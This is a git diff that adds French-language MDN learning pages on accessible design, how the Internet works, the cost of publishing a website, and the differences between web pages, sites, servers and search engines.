Bien entendu, ce problème n'a pas disparu avec le Web. Les yeux d'un lecteur sont comme une navette qui va d'une ligne à une autre. Pour simplifier ce trajet, il est préconisé que les lignes s'étendent entre 60 et 70 caractères.

+ +

Pour obtenir cet effet, il est possible de définir une taille spécifique pour le conteneur du texte. Voila ce que ça donne en HTML :

+ +
<!DOCTYPE html>
+<html lang="fr">
+<head>
+    <meta charset="UTF-8">
+    <title>Tests sur les tailles de police</title>
+</head>
+<body>
+
+<div class="container">
+    <h1>Le titre principal
+        <span class="subheading">Et le sous-titre</span>
+    </h1>
+
+    <p>[Un grand texte qui s'étire sur plusieurs lignes]</p>
+</div>
+
+</body>
+</html>
+ +

Ici, nous avons un div avec une classe container. Il est possible de mettre en forme le div en réglant sa largeur avec la propriété width ou en réglant sa largeur maximale afin qu'il ne soit jamais trop grand, grâce à sa propriété max-width. Si vous souhaitez avoir un site adaptatif ou élastique et que vous ne connaissez pas la largeur par défaut du navigateur, vous pouvez utiliser la propriété max-width pour avoir au maximum 70 caractères par ligne :

+ +
div.container { max-width:70em; }
+ +

Fournir un contenu alternative pour les images, les sons et les vidéos

+ +

Il arrive fréquemment que les pages web ne contiennent pas seulement du texte.

+ +

Les images

+ +

Les images d'une page web peuvent être décoratives ou informatives mais il n'est pas garanti que vos utilisateurs puissent les voir. Par exemple :

+ +
    +
  • Vos lecteurs souffrant d'une déficience visuelle utiliseront un logiciel lecteur d'écran qui ne pourra restituer que du texte.
    • +
  • Vos lecteurs peuvent naviguer depuis un intranet très strict qui bloque les images provenant d'un {{Glossary("CDN")}}.
    • +
  • Vos lecteurs peuvent avoir désactivé l'affichage des images pour économiser de la bande passante, ceci est notamment valable pour les appareils mobiles (voir ci-après).
    • +
+ +
+
Les images décoratives
+
Ces images servent uniquement à décorer et ne contiennent pas d'informations utiles à la compréhension de la page. Elles pourraient généralement être remplacées par une image d'arrière-plan. Assurez-vous de fournir un texte alternatif vide grâce à l'attribut alt : <img src="deco.gif" alt=""> afin qu'elles n'encombrent pas le texte.
+
Les images informatives
+
Celles-ci apportent des informations nécessaires à la compréhension de la page, d'où leur nom. Elle peuvent, par exemple, montrer un graphique, décrire le geste d'une personne, etc. Il faut au minimum fournir un attribut alt par rapport au contenu de l'image.
+
+ +

Si l'image peut être décrite succintement, vous pouvez fournir un attribut alt qui sera suffisant. En revanche, si l'image ne peut pas être décrite rapidement, il est préférable de fournir un contenu équivalent sous un autre format sur la page (par exemple, si l'image est un graphique en camembert, on pourra fournir le tableau des données numériques) ou sinon, on pourra recourir à un attribut longdesc. La valeur de cet attribut est un URL qui pointe vers une ressource dont le seul but est de décrire en détails le contenu de l'image.

+ +
+

Note : L'utilisation voire l'existence de longdesc ont toujours été débatues. Veuillez vous référer à la page du W3C' Image Description Extension (longdesc) pour une explication complète et des exemples détaillés.

+
+ +

Audio/Vidéo

+ +

Il est également nécessaire de fournir des alternatives à du contenu multimédia.

+ +
+
Sous-titrage
+
Les sous-titres sont utiles à toutes les personnes utilisant votre site qui ne peuvent pas entendre la piste audio. Certaines personnes pourraient avoir des difficultés auditives, d'autres pourraient avoir des écouteurs qui ne fonctionnent pas, d'autres encore pourraient être dans un environnement bruyant.
+
Transcription
+
Les sous-titres ne fonctionnent que lorsqu'on regarde la vidéo. Certaines personnes n'ont pas le temps ou les codecs nécessaires pour regarder la vidéo. De plus, les moteurs de recherches utilisent principalement le texte pour indexer le contenu d'un site web. Pour toutes ces raisons, il est préférable de fournir une transcription du fichier audio/vidéo.
+
+ +

Compression des images

+ +

Certains utilisateurs pourraient avoir choisi d'afficher les images mais pourraient disposer d'une connexion instable ou limité (c'est le cas notamment dans les pays en développement et sur les appareils mobiles). Si vous souhaitez que votre site web soit le plus fonctionnel possible, il est nécessaire de compresser les images. Voici quelques outils pour vous aider à cette tâche (logiciels ou services en ligne) :

+ +
    +
  • Logiciels à installer : ImageOptim (Mac), OptiPNG (toutes les plates-formes, PNGcrush (DOS, Unix/Linux)
    • +
  • Outils en lignes : smushit! de Yahoo!,   Online Image Optimizer de Dynamic Drive (qui peut convertir d'un format à un autre si cela est plus efficace en termes de bande passante)
    • +
+ +

Prochaines étapes

+ +

Cet article ne décrit que les bases d'un design accessible et universel. Si vous souhaitez aller plus loin dan ce domaine, vous pouvez poursuivre avec les bases de l'ergonomie ou UX (User Experience en anglais).

diff --git a/files/fr/learn/common_questions/how_does_the_internet_work/index.html b/files/fr/learn/common_questions/how_does_the_internet_work/index.html new file mode 100644 index 0000000000..b4f81c9acf --- /dev/null +++ b/files/fr/learn/common_questions/how_does_the_internet_work/index.html @@ -0,0 +1,97 @@ +--- +title: Le fonctionnement de l'Internet +slug: Apprendre/Fonctionnement_Internet +tags: + - Beginner + - Internet + - WebMechanics +translation_of: Learn/Common_questions/How_does_the_Internet_work +--- +
+

Dans cet article, nous expliquons ce qu'est l'Internet et comment il fonctionne.

+
+ + + + + + + + + + + + +
Prérequis :Aucun, mais nous vous encourageons à lire l'article Commencez votre projet Web avant celui-ci.
Objectif :Vous apprendrez les rudiments de l'infrastructure technique du Web et vous serez en mesure de distinguer « Internet » et « Web ».
+ +

Résumé

+ +

L'Internet est l'épine dorsale du Web : il s'agit de l'infrastructure technique qui sous-tend le Web. De façon simple, l'Internet est un vaste réseau d'ordinateurs qui communiquent les uns avec les autres.

+ +

L'histoire des débuts de l'Internet est quelque peu nébuleuse. Tout aurait commencé dans les années 1960 par un projet de recherche subventionné par le département de la Défense des États-Unis. L'Internet serait ensuite devenu, dans les années 1980, une infrastructure publique grâce au soutien de nombreuses universités publiques et entreprises privées. Les diverses technologies qui sous-tendent l'Internet ont évolué au fil du temps, mais son fonctionnement de base a, quant à lui, peu changé. L'Internet demeure un moyen de relier tous les ordinateurs entre eux et de s'assurer que ce lien perdure, peu importe les problèmes qui pourraient toucher le réseau.

+ +

Pédagogie active

+ +
    +
  • How the internet Works in 5 minutes : Une vidéo d'une durée de 5 minutes réalisée par Aaron Titus afin d'expliquer les rudiments du fonctionnement de l'Internet. (en anglais seulement)
    • +
+ +

Allons plus loin

+ +

Un réseau de base

+ +

Pour que deux ordinateurs puissent communiquer entre eux, ils doivent être liés soit par un lien physique (généralement par un câble Ethernet), soit sans fil (par exemple, via WiFi ou Bluetooth). Tous ces types de connexions sont possibles sur les ordinateurs modernes.

+ +
+

Note : À partir de maintenant, nous ne parlerons que de connexions physiques, mais sachez que les explications ci-dessous sont tout aussi valides pour les réseaux sans fil.

+
+ +

Two computers linked together

+ +

Un réseau comme celui illustré ci-haut n'est pas limité à deux ordinateurs. Vous pouvez y connecter autant d'ordinateurs que vous le souhaitez, mais le tout se complique très rapidement. Ainsi, si vous voulez relier, disons, dix ordinateurs entre eux, vous aurez besoin de 45 câbles et de neuf prises sur chaque ordinateur!

+ +

Ten computers all together

+ +

Afin de résoudre ce problème, chaque ordinateur du réseau est relié à un petit ordinateur bien spécial que l'on appelle routeur. Ce routeur n'a qu'une seule fonction : tout comme un signaleur de gare de train, il s'assure que les messages transmis par un ordinateur donné se rendent au bon ordinateur destinataire. Ainsi, pour envoyer un message à l'ordinateur B, l'ordinateur A transmet d'abord le message au routeur, qui s'assure alors de transférer le message à l'ordinateur B et non à l'ordinateur C.

+ +

Vous voyez donc que lorsque nous ajoutons un routeur dans notre structure, notre réseau de dix ordinateurs ne requiert alors que de dix câbles, d'une prise par ordinateur et d'un routeur de 10 ports.

+ +

Ten computers with a router

+ +

Un réseau de réseaux

+ +

Jusqu'ici tout est beau, mais comment fait-on pour relier des centaines, des milliers ou même des millards d'ordinateurs entre eux ? Bien évidemment, un seul routeur ne pourrait suffire pour tant de connexions. Cependant, si vous avez lu attentivement, vous aurez constaté qu'un routeur n'est en réalité qu'un ordinateur. Serait-ce alors possible de lier deux routeurs ? Oui, absolument, et en voici le résultat!

+ +

Two routers linked together

+ +

En liant les ordinateurs à des routeurs, puis les routeurs entre eux, nous avons la capacité d'étendre le réseau indéfiniment.

+ +

Routers linked to routers

+ +

Un tel réseau s'apparente de près à ce que nous appelons l'Internet, mais il y a un élément manquant. Ce réseau a été conçu pour répondre à nos besoins personnels, mais d'autres réseaux existent également. Vos amis, vos voisins et plein d'autres gens peuvent avoir leurs propres réseaux d'ordinateurs. Cependant, il vous est plutôt impossible de brancher des câbles entre votre maison et le reste de la planète, alors que faire ? Eh bien, il se trouve que votre maison est déjà câblée et liée aux réseaux électrique et téléphonique. L'infrastructure téléphonique, qui lie déjà votre maison au reste de la planète, répond parfaitement à nos besoins. Afin de lier notre réseau à l'infrastructure téléphonique, nous devons utiliser un appareil spécialisé appelé modem. Ce modem convertit l'information de notre réseau en information décodable par l'infrastructure téléphonique et vice-versa.

+ +

A router linked to a modem

+ +

Notre réseau est donc lié à l'infrastructure téléphonique. La prochaine étape consiste alors à transmettre avec succès nos messages au réseau cible. À cette fin, nous allons lier notre réseau à un Fournisseur d'accès à Internet (FAI). Un FAI est une entreprise qui gère des routeurs qui sont liés entre eux et qui ont des droits d'accès aux routeurs d'autres FAI. Le message transmis par notre réseau est ainsi transporté à travers le réseau de FAI afin d'atteindre le réseau cible. Voilà en quoi consiste l'Internet : il s'agit de toute cette infrastructure de réseaux (dans les schémas suivants, ISP signifie FAI, c'est le terme anglais pour fournisseur d'accès).

+ +

Full Internet stack

+ +

Localiser un ordinateur

+ +

Lorsque nous souhaitons transmettre un message à un ordinateur, nous devons préciser de quel ordinateur il s'agit. Par conséquent, chaque ordinateur lié à un réseau possède une adresse unique appelée « adresse IP » (où « IP » signifie Internet Protocol) qui sert à localiser l'ordinateur. Cette adresse est composée d'une série de nombres séparés par des points, par exemple : 192.168.2.10  ou de lettres et de chiffres séparés par deux points. 2001:0db8:85a3:0000:0000:8a2e:0370:7334.

+ +

C'est une méthode très efficace pour les ordinateurs, mais les humains ont un peu plus de difficulté à retenir de telles adresses numériques. Afin de se faciliter la tâche, un libellé alphabétique, appelé nom de domaine, est souvent associé aux adresses IP. Par example, google.com est le nom de domaine associé à l'adresse IP 173.194.121.32. L'utilisation d'un nom de domaine est ainsi le moyen le plus facile d'atteindre un ordinateur via l'Internet.

+ +

Show how a domain name can alias an IP address

+ +

L'Internet et le web

+ +

Vous aurez peut-être constaté que lorsque nous naviguons sur le Web avec un navigateur Web, nous utilisons un nom de domaine pour rejoindre un site web. Est-ce donc dire qu'Internet et Web réfèrent à une seule et même notion ? La réponse n'est pas si simple. Comme nous l'avons vu, l'Internet est une infrastructre technique qui lie des milliards d'ordinateurs entre eux. Parmi ces ordinateurs, certains ordinateurs (appelés serveurs Web) peuvent transmettre des messages décodables par les navigateurs Web. Ainsi, l'Internet est une infrastructure, alors que le Web est un service utilisant l'infrastructure de l'Internet. Il importe de mentionner que d'autres services utilisent l'infrastructure de l'Internet, comme le courriel et {{Glossary("IRC")}}.

+ +

Étapes suivantes

+ + diff --git a/files/fr/learn/common_questions/how_much_does_it_cost/index.html b/files/fr/learn/common_questions/how_much_does_it_cost/index.html new file mode 100644 index 0000000000..e9ef0e5b3e --- /dev/null +++ b/files/fr/learn/common_questions/how_much_does_it_cost/index.html @@ -0,0 +1,161 @@ +--- +title: 'Publier sur le Web : combien ça coûte ?' +slug: Apprendre/Publier_sur_le_Web_combien_ça_coûte +tags: + - Beginner + - Learn + - WebMechanics +translation_of: Learn/Common_questions/How_much_does_it_cost +--- +
+

Se lancer sur le Web n'est pas aussi bon marché qu'il y paraît à première vue. Dans cet article, nous verrons les différentes dépenses et leur raison d'être.

+
+ + + + + + + + + + + + +
Prérequis :Vous devez au préalable connaître les logiciels nécessaires au développement web, les différences entre une page web, un site web, etc. et savoir ce qu'est un nom de domaine.
Objectifs :Revoir le processus de création complet d'un site web et analyser le coût éventeul de chaque étape.
+ +

Lorsqu'on lance un site web, on peut très bien ne rien payer ou, au contraire, dépenser de façon astronomique. Dans cet article, nous verrons les coûts associés à chaque étape et ce à quoi s'attendre en fonction de ce qu'on paye (ou qu'on ne paye pas).

+ +

Aller plus loin

+ +

Développer son site soi-même

+ +

Logiciels

+ +
Éditeurs de texte
+ +

Vous disposez probablement d'un éditeur de texte grâce à votre système d'exploitation (Notepad sur Windows, gedit sur Linux, TextEdit sur Mac). Mais, comme vous le verrez bientôt, un éditeur de texte adapté au développement web (avec une coloration syntaxique et d'autres fonctionnalités) vous rendra un meilleur service.

+ +

De nombreux éditeurs sont gratuits : Bluefish, TextWrangler, Eclipse et Netbeans. Certains comme Sublime Text peuvent être utilisés librement mais vous serez invité à payer si vous les utilisez continuellement ou dans un cadre professionnel. D'autres comme PhpStorm peuvent coûter entre quelques dizaines et plusieurs centaines d'euros en fonction de l'abonnement choisi. Enfin, certains comme Microsoft Visual Studio peuvent coûter plusieurs centaines voire plusieurs milliers d'euros selon l'utilisation qui en est faite.

+ +

Pour commencer, n'hésitez pas à essayer plusieurs éditeurs (même les éditeurs payants disposent souvent d'une version d'essai) pour savoir lequel vous convient le mieux. Si vous prévoyez de n'écrire que du {{Glossary("HTML")}}, {{Glossary("CSS")}} et  {{Glossary("Javascript")}} simples, vous pouvez utiliser un éditeur simple.

+ +

Le prix d'un éditeur ne reflète pas toujours son utilité ou sa qualité. À vous de les essayer et de forger votre avis. Par exemple, Sublime Text n'est pas très cher mais peut être agrémenté d'extensions (plugins) gratuites qui augmentent sensiblement les fonctionnalités qu'il offre.

+ +
Éditeurs graphiques
+ +

Votre système inclue probablement déjà un éditeur ou une visionneuse d'images (Paint pour Windows, Eye of Gnome pour Ubuntu, Preview sur Mac). Mais ces programmes sont limités et vous pourrez avoir besoin de fonctionnalités supplémentaires.

+ +

Les éditeurs graphiques peuvent être gratuits (GIMP), payants (PaintShop Pro, moins de 100 € ) voire assez chers (Adobe Photoshop pour plusieurs centaines d'euros).

+ +

Vous pouvez utiliser n'importe lequel de ces éditeurs. Leurs fonctionnalités sont tr_s proches (certains de ces éditeurs sont si complets que vous n'utiliserez jamais toutes leurs fonctionnalités). Cependant, si vous avez besoin d'échanger vos éléments avec d'autres concepteurs, voyez avec eux les outils qu'ils utilisent. En effet les éditeurs peuvent permettre d'exporter vers des formats de fichiers standards mais d'autres possèdent leurs propres formats spécifiques.

+ +
Éditeurs multimédia
+ +

Si vous souhaitez intégrer des éléments audio ou vidéo dans votre site, vous pourrez utiliser des services en ligne (par exemple YouTube, Vimeo ou Dailymotion) pour intégrer les vidéos depuis ces sites ou vous pourrez créer ves propres vidéos (voir ci-après quant à la bande passante).

+ +

Pour éditer des fichiers audio, il existe des logiciels gratuits (Audacity, Wavosaur) ou d'autres qui coûtent quelques centaines d'euros (Sony Sound Forge, Adobe Audition). Les logiciels d'édition vidéo peuvent être gratuits (PiTiVi, OpenShot pour Linux, iMovie pour Mac), coûter moins d'une centaine d'euros (Adobe Premiere Elements) ou coûter plusieurs centaines d'euros (Adobe Premiere Pro, Avid Media Composer, Final Cut Pro). Le logiciel qui est fourni avec votre caméra peut également parfaitement subvenir à vos besoins.

+ +
Outils de publication : client {{Glossary("FTP")}}
+ +

Vous aurez également besoin d'un logiciel pour transférer les fichiers depuis votre disquer dur vers un serveur web distant. Pour cela, vous utiliserez un client FTP.

+ +

Chaque système d'exploitation inclut un client FTP avec le gestionnaire de fichiers. Que ce soit Windows Explorer, Nautilus (un gestionnaire de fichiers pour Linux) ou Finder sur Mac, tous incluent cette fonctionnalité. Cependant, certains choisissent souvent d'utiliser un client FTP dédié à cet usage afin d'enregistrer les mots de passe et d'afficher les vues simultanées entre les emplacements locaux et les répertoires distants.

+ +

Si vous souhaitez installer un client FTP, il existe plusieurs options correctes et gratuites : FileZilla pour toutes les plateformes, WinSCP pour Windows, Cyberduck pour Mac et Windows et d'autres encore.

+ +
+

Note : Il existe d'autres méthodes pour publier du contenu sur des serveurs distants : rsync et git par exemple. Mais ces méthodes ne sont pas aussi simples à appliquer que FTP et nous ne les aborderons pas dans cette section.

+
+ + + +

Si vous lisez cet article, il y a de grandes chances que vous ayez un navigateur web. Sinon, vous pouvez télécharger Firefox ou télécharger Google Chrome.

+ +

Accès au Web

+ +
Ordinateur / Modem
+ +

Pour éditer/publier un site web, vous aurez besoin d'un ordinateur. Le prix d'un ordinateur peut varier énormément en fonction de votre budget et de l'endroit où vous vivez. A minima vous aurez besoin d'un ordinateur qui puisse lancer un éditeur et un navigateur, il est donc possible de commencer le développement web avec un ordinateur d'entrée de gamme.

+ +

Bien sûr, vous aurez besoin d'un ordinateur plus performants si vous voulez produire des concepts plus lourds, retoucher des photos ou produire des fichiers audio et vidéo.

+ +

Vous aurez besoin de transférer votre contenu vers un serveur distant. Pour cela, vous aurez besoin d'un modem et d'une accès Internet. Cela revient généralement à plusieurs euros par mois, que vous payez à un fournisseur d'accès Internet.

+ +
Accès Internet
+ +

Assurez-vous d'avoir suffisamment de bande passante :

+ +
    +
  • Un accès bas-débit devrait suffire pour un site web « simple » (des images de taille raisonnable, du texte, un peu de CSS et de JavaScript).
    • +
  • Si, en revanche, vous souhaitez maintenir un site plus volumineux avec des centaines de fichiers voire servir des fichiers audio/vidéo depuis votre propre serveur web, vous aurez besoin d'un accès ADSL voire d'un accès à la fibre. Le prix et la disponibilité d'un tel accès peuvent varier selon votre situation géographique et selon que vous êtes un professionnel ou un particulier.
    • +
+ +

Hébergement

+ +
Comprendre ce qu'est la « bande passante »
+ +

Le tarif d'un hébergeur  variera en fonction de la bande passante consommée par votre site web. Celle-ci dépend du nombre de visiteurs (humains ou robots) sur une période donnée et de l'espace occupé par votre contenu (c'est pour cette raison que la plupart des gens stockent leurs vidéos sur Youtube, Dailymotion et Vimeo). Par exemple, votre fournisseur peut avoir une formule qui permet d'avoir jusqu'à plusieurs milliers de visiteurs par jours pour une bande passante raisonnable (cette définition de « raisonnable » peut varier d'un fournisseur à l'autre). Grosso modo, un hébergement personnalisé moyen et qui vous permet de servir suffisamment de visiteurs coûte entre 10 et 15 euros par mois.

+ +
+

Note : Un débit « illimité » n'existe pas en réalité. Si vous consommez beaucoup de bande passante, attendez-vous à devoir payer en conséquence.

+
+ +
Nom de domaine
+ +

Vous pouvez acheter un nom de domaine chez un fournisseur de nom de domaine (ou bureau d'enregistrement). Votre hébergeur peut aussi être un bureau d'enregistrement (1&1 et Gandi sont par exemple des hébergeurs et des bureaux d'enregistrement). Un nom de domaine coûte, en général, entre 5 et 15 € par an. Le coût peut varier en fonction :

+ +
    +
  • Des obligations locales (certains noms de domaines locaux sont plus chers car en fonction du pays, le prix fixé est différent)
    • +
  • Des services associés au nom de domaine : certains bureaux d'enregistrement fournissent par exemple une protection contre le spam en masquant votre adresse physique et votre adresse électronique derrière leur adresse.
    • +
+ +
Hébergement « maison » et hébergement « packagé »
+ +

Lorsque vous souhaitez publier un site, vous pouvez tout faire vous-même : mettre en place une base de données si nécessaire, installer un système de gestion de contenu ({{Glossary("CMS")}}) (comme Wordpress, Dotclear, spip, etc.), transférer vos modèles de fichiers ou utiliser vos propres modèles.

+ +

Vous pouvez également utiliser un environnement pré-paramétré par votre hébergeur ou souscrire à un service d'hébergement avec des CMS pré-paramétrés (Wordpress, Tumblr, Blogger). Avec cette dernière option, vous pourrez avoir un hébergement gratuit mais vous aurez beaucoup moins de contrôle sur la mise en forme et la mise en place du site web.

+ +
Hébergement gratuit et hébergement payant
+ +

Si des options gratuites existent, pourquoi donc faudrait-il payer pour un hébergement ?

+ +
    +
  1. Un hébergement payant vous permet d'avoir plus de libertés : votre site vous appartient et vous pouvez le migrer d'un hébergeur à un autre lorsque c'est nécessaire.
    2. +
  2. Un hébergement gratuit est souvent accompagné de publicité et vous contrôlez moins votre contenu.
    3. +
+ +

Certains choisissent une approche hybride en hébergeant leur site principal avec un nom de domaine et un hébergeur payants et utilisent un service gratuit pour héberger des contenus moins stratégiques.

+ +

Agences web professionnelles et hébergement

+ +

Si vous souhaitez mettre en place un site professionnel, vous contacterez probablement une agence web qui le développera pour vous.
+
+ Le coût d'un tel projet varie selon plusieurs facteurs :

+ +
    +
  • Est-ce que le site web ne contient que quelques pages de texte ou est-ce un site complexe avec plusieurs centaines de pages ?
    • +
  • Le site est-il mis à jour régulièrement ou s'agit-il d'un site web statique ?
    • +
  • Est-ce que le site web doit être connecté au service informatique de votre entreprise pour récolter du contenu (par exemple des données internes) ?
    • +
  • Souhaitez-vous que votre site brille de mille feux avec les dernières mises en forme à la mode ?
    • +
  • Est-ce que l'agence web doit détecter et résoudre des problèmes de scénarios et d'ergonomie complexes (en organisant par exemples des tests utilisateurs ou du A/B testing afin de déterminer une meilleure solution) ?
    • +
+ +

De plus, en ce qui concerne l'hébergement :

+ +
    +
  • Faut-il des serveurs redondants au cas où un serveur tombe en panne ?
    • +
  • Est-ce qu'une fiabilité de 95% est suffisante ou faut-il un service qui fonctionne 24H/24, 7J/7 ?
    • +
  • Un serveur partagé est-il suffisant ou faut-il préférer un machine dédiée avec de hautes performances ?
    • +
+ +

Selon les réponses à ces questions, votre site peut coûter entre quelques milliers d'euros et plusieurs centaines de milliers d'euros.

+ +

Prochaines étapes

+ +

Maintenant que la question du coût est résolue, il est temps de commencer à concevoir ce site web et de préparer un environnement de travail.

+ + diff --git a/files/fr/learn/common_questions/index.html b/files/fr/learn/common_questions/index.html new file mode 100644 index 0000000000..3dc2df9fca --- /dev/null +++ b/files/fr/learn/common_questions/index.html @@ -0,0 +1,127 @@ +--- +title: Questions fréquentes +slug: Apprendre/Common_questions +tags: + - Learn + - Web + - WebMechanics +translation_of: Learn/Common_questions +--- +
{{LearnSidebar}}
+ +

Cette section de la zone d'apprentissage est là pour fournir des réponses aux questions fréquentes qui peuvent survenir et qui ne concernent pas nécesserairement l'apprentissage du code (par exemple les articles sur HTML ou CSS.) Ces articles sont conçus pour être lus de manière indépendante.

+ +

Comment le Web fonctionne

+ +

Cette section couvre les mécaniques du Web — les questions en relation avec les connaissances de l'écosystème du web et son fonctionnement.

+ +
+
+

Comment fonctionne Internet?

+
+
Internet est la colonne vertébrale du Web, l'infrastructure technique qui rend le Web possible. A sa base, Internet est un vaste réseau d'ordinateurs qui communiquent ensemble. Cet article traite de son fonctionnement, de manière basique.
+
+

Quelle est la différence entre une page web, un site web, un serveur web et un moteur de recherche?

+
+
Dans cet article nous abordons les différents concepts liés au web : une page web, site web, serveur web, et moteur de recherche. Ces termes sont souvent confondus par les nouveaux internautes, ou mal utilisés. Voyons ce que chacun d'eux signifient.
+
+

Qu'est-ce qu'une URL?

+
+
Avec {{Glossary("Hypertext", "le lien hypertexte")}} et {{Glossary("HTTP")}}, l'URL est l'un des principaux concepts du Web. C'est le mécanisme utilisé par le {{Glossary("Browser","navigateur web")}} pour récupérer n'importe quelle ressource publiée sur le Web.
+
+

Qu'est-ce qu'un nom de domaine?

+
+
Les noms de domaine sont une partie essentielle du fonctionnement d'Internet. Ils fournissent une adresse compréhensible pour un humain de n'importe quel serveur web disponible sur Internet.
+
+

Qu'est-ce qu'un serveur Web?

+
+
Le terme "serveur Web" peut indiquer le matériel ou le logiciel qui fournissent les sites web aux clients à travers le web — ou les deux travaillant ensemble. Dans cet article nous verrons comment fonctionnent les serveurs web et quelle est leur importance.
+
+

Que sont les liens hypertextes?

+
+
Dans cet article nous verrons ce que sont les liens hypertextes et pourquoi ils sont importants.
+
+ +

Outils et installation

+ +

Questions relatives aux outils/logiciels que vous pouvez utiliser pour construire des sites web.

+ +
+
+

Combien ça coûte de créer quelque chose sur le Web?

+
+
Quand vous démarrez votre site web, vous pouvez ne rien dépenser ou alors complètement dépasser vos estimations.  Dans cet article nous aborderons le prix de chaque chose et de ce que vous aurez si vous payez (ou ne payez pas).
+
+

Quel logiciel est nécessaire pour construire un site web?

+
+
Dans cet article nous expliquerons quel logiciel est nécessaire pour l'édition, l'upload, ou pour la visualisation d'un site web.
+
+

Quels sont les éditeurs disponibles?

+
+
Dans cet article nous mettrons en avant quelques points à retenir concernant le choix et l'installation d'un éditeur de texte pour le développement web.
+
+

Comment installer un environnement de base pour travailler?

+
+
Quand vous travaillez sur un projet web, vous souhaiterez le tester en local avant de l'exposer à tout le monde. Certains types de code nécessitent un serveur web pour tester, dans cet article nous allons vous montrer comment le configurer. Nous allons aussi voir une structure à mettre en place afin que les fichiers restent organisés quand le projet grandira.
+
+

Que sont les outils de développement du navigateur?

+
+
Chaque navigateur web possède un ensemble d'outils d'aide au développement du HTML, CSS, et des autres codes. Cet article explique comment utiliser les outils de développement de votre navigateur.
+
+

Comment être sûr que votre site fonctionne correctement?

+
+
Alors vous avez publié votre site web en ligne — très bien ! Mais êtes vous sûr qu'il fonctionne correctement ? Cet article fourni quelques étapes de dépannage basique.
+
+

Comment transférer des fichiers vers un serveur web?

+
+
Cet article montre comment mettre son site en ligne en utilisant un outil FTP — un des moyens les plus fréquents de publier son site afin qu'il soit disponible aux autres depuis leurs ordinateurs.
+
+

Comment utiliser GitHub Pages?

+
+
Cet article fourni un guide basique pour publier du contenu en utilisant l'outil gh-pages de GitHub.
+
+

Comment héberger son site sur Google App Engine?

+
+
Vous recherchez un endroit pour héberger votre site web? Voici un guide pas-à-pas pour héberger votre site sur Google App Engine.
+
+

Quels outils sont disponibles pour corriger et améliorer les performances du site web?

+
+
Cette série d'articles vous montre comment utiliser les Outils de Développement de Firefox afin de déboguer et améliorer les performances de votre site web, en utilisant les outils pour vérifier l'utilisation de la mémoire, l'arbre d'appel de JavaScript, la quantité de noeuds DOM affichée, et plus encore.
+
+ +

Conception et accessibilité

+ +

Cette section rassemble les questions liées à l'esthétique, la structure des pages, aux techniques d'accessibilité, etc.

+ +
+
+

Comment démarrer dans la conception  de mon site web?

+
+
Cet article couvre la première étape la plus importante de tous les projets: définir ce que vous voulez accomplir avec.
+
+

Que contiennent les mises en page classiques?

+
+
Lorsque vous concevez des pages pour votre site Web, il est bon d'avoir une idée des mises en page les plus courantes. Cet article présente quelques mises en page typiques du web, en analysant les parties qui composent chacune d'entre elles.
+
+

Qu'est-ce-que l'accessibilité?

+
+
Cet article est une introduction aux concepts de base de l'accessibilité web.
+
+

Comment concevoir pour tous les types d'utilisateurs?

+
+
Cet article fournit quelques techniques de base afin de vous aider dans la conception de sites web adaptés à tous les types d'utilisateurs — de rapides astuces d'accessibilité, en quelque sorte.
+
+

Quelles fonctionnalités HTML favorisent l'accessibilité?

+
+
Cet article décrit les fonctionnalités spécifiques d'HTML qui peuvent être utilisées afin de rendre les pages accessibles aux personnes ayant certaines difficultées.
+
+ +

Questions HTML, CSS et JavaScript

+ +

Pour les solutions fréquentes aux problèmes de HTML/CSS/JavaScript, essayez les articles suivants:

+ + diff --git a/files/fr/learn/common_questions/pages_sites_servers_and_search_engines/index.html b/files/fr/learn/common_questions/pages_sites_servers_and_search_engines/index.html new file mode 100644 index 0000000000..f5ff96a440 --- /dev/null +++ b/files/fr/learn/common_questions/pages_sites_servers_and_search_engines/index.html @@ -0,0 +1,98 @@ +--- +title: >- + Comprendre les différences entre une page web, un site web, un serveur web et + un moteur de recherche +slug: Apprendre/page_vs_site_vs_serveur_vs_moteur_recherche +tags: + - Beginner + - Web +translation_of: Learn/Common_questions/Pages_sites_servers_and_search_engines +--- +
+

Dans cet article, nous démystifions plusieurs notions liées au Web : page web, site web, serveur web et moteur de recherche.

+
+ + + + + + + + + + + + +
Prérequis :Vous devriez au préalable comprendre comment fonctionne Internet.
Objectif :Comprendre les différences entre une page web, un site web, un serveur web et un moteur de recherche.
+ +

Le Web, comme tout autre champ de connaissance, est associé à un vaste vocabulaire technique. Ne vous inquiétez pas, nous n'avons pas l'intention de vous submerger avec tout cela (toutefois, si vous êtes curieux, vous pouvez consulter notre glossaire). Nous nous devons toutefois de clarifier dès maintenant certaines notions de base, car elles reviendront fréquemment dans vos prochaines lectures. Ces notions peuvent parfois être confondues, car elles réfèrent à des fonctions apparentés, mais néanmoins distinctes. Nous approfondirons bientôt ces notions, mais vous pouvez commencer par vous familiariser avec ces définitions simples :

+ +
+
page web
+
un document qui peut être affiché par un navigateur web (tel que Mozilla Firefox, Google Chrome, Microsoft Internet Explorer ou Edge ou encore Safari)
+
site web
+
un ensemble de pages web regroupées entre elles de différentes façons.
+
serveur web
+
un ordinateur qui héberge un site web
+
moteur de recherche
+
un site web qui aide à trouver des pages web (par exemple, Google, Bing, Yahoo, DuckDuckGo, Qwant, etc.)
+
+ +

Pédagogie active

+ +

Aucun contenu de pédagogie active n'est disponible pour le moment. S'il-vous-plaît, pensez à contribuer pour enrichir ce contenu !

+ +

Allons plus loin

+ +

Explorons maintenant les liens qui unissent ces quatre notions et pourquoi elles sont parfois confondues.

+ +

Page web

+ +

Une page web est un document simple qui peut être affiché par un {{Glossary("navigateur")}}. Ce document est écrit à l'aide du langage {{Glossary("HTML")}} (nous en reparlerons plus en profondeur dans d'autres articles) et peut inclure diverses autres ressources telles que :

+ +
    +
  • des feuilles de style — qui déterminent l'apparence de la page ;
    • +
  • des scripts — qui ajoutent des fonctions interactives ; ou
    • +
  • du contenu multimédia — images, sons, vidéos.
    • +
+ +
+

Note : Les navigateurs peuvent afficher d'autres types de documents tels que des fichiers {{Glossary("PDF")}} ou des images, mais le terme page web désigne spécifiquement des documents HTML. Si nous parlons d'un autre type de contenu, nous utiliserons le terme document.

+
+ +

Toutes les pages web sont associées à une adresse unique. Pour atteindre une page, il suffit d'entrer son adresse dans la barre d'adresse du navigateur :

+ +

Exemple d'une adresse de page web dans la barre d'adresse du navigateur

+ +

Un site web est un ensemble de pages web reliées entre elles (ainsi que des ressources associées) qui partagent un nom de domaine. Chaque page d'un site fournit des liens explicites (généralement sous la forme de texte cliquable) qui permettent à l'utilisateur de naviguer entre les pages du site web.

+ +

Pour atteindre un site web, vous devez saisir son nom de domaine dans la barre d'adresse de votre navigateur. Le navigateur affichera alors la page principale, appelée page d'accueil, du site web.

+ +

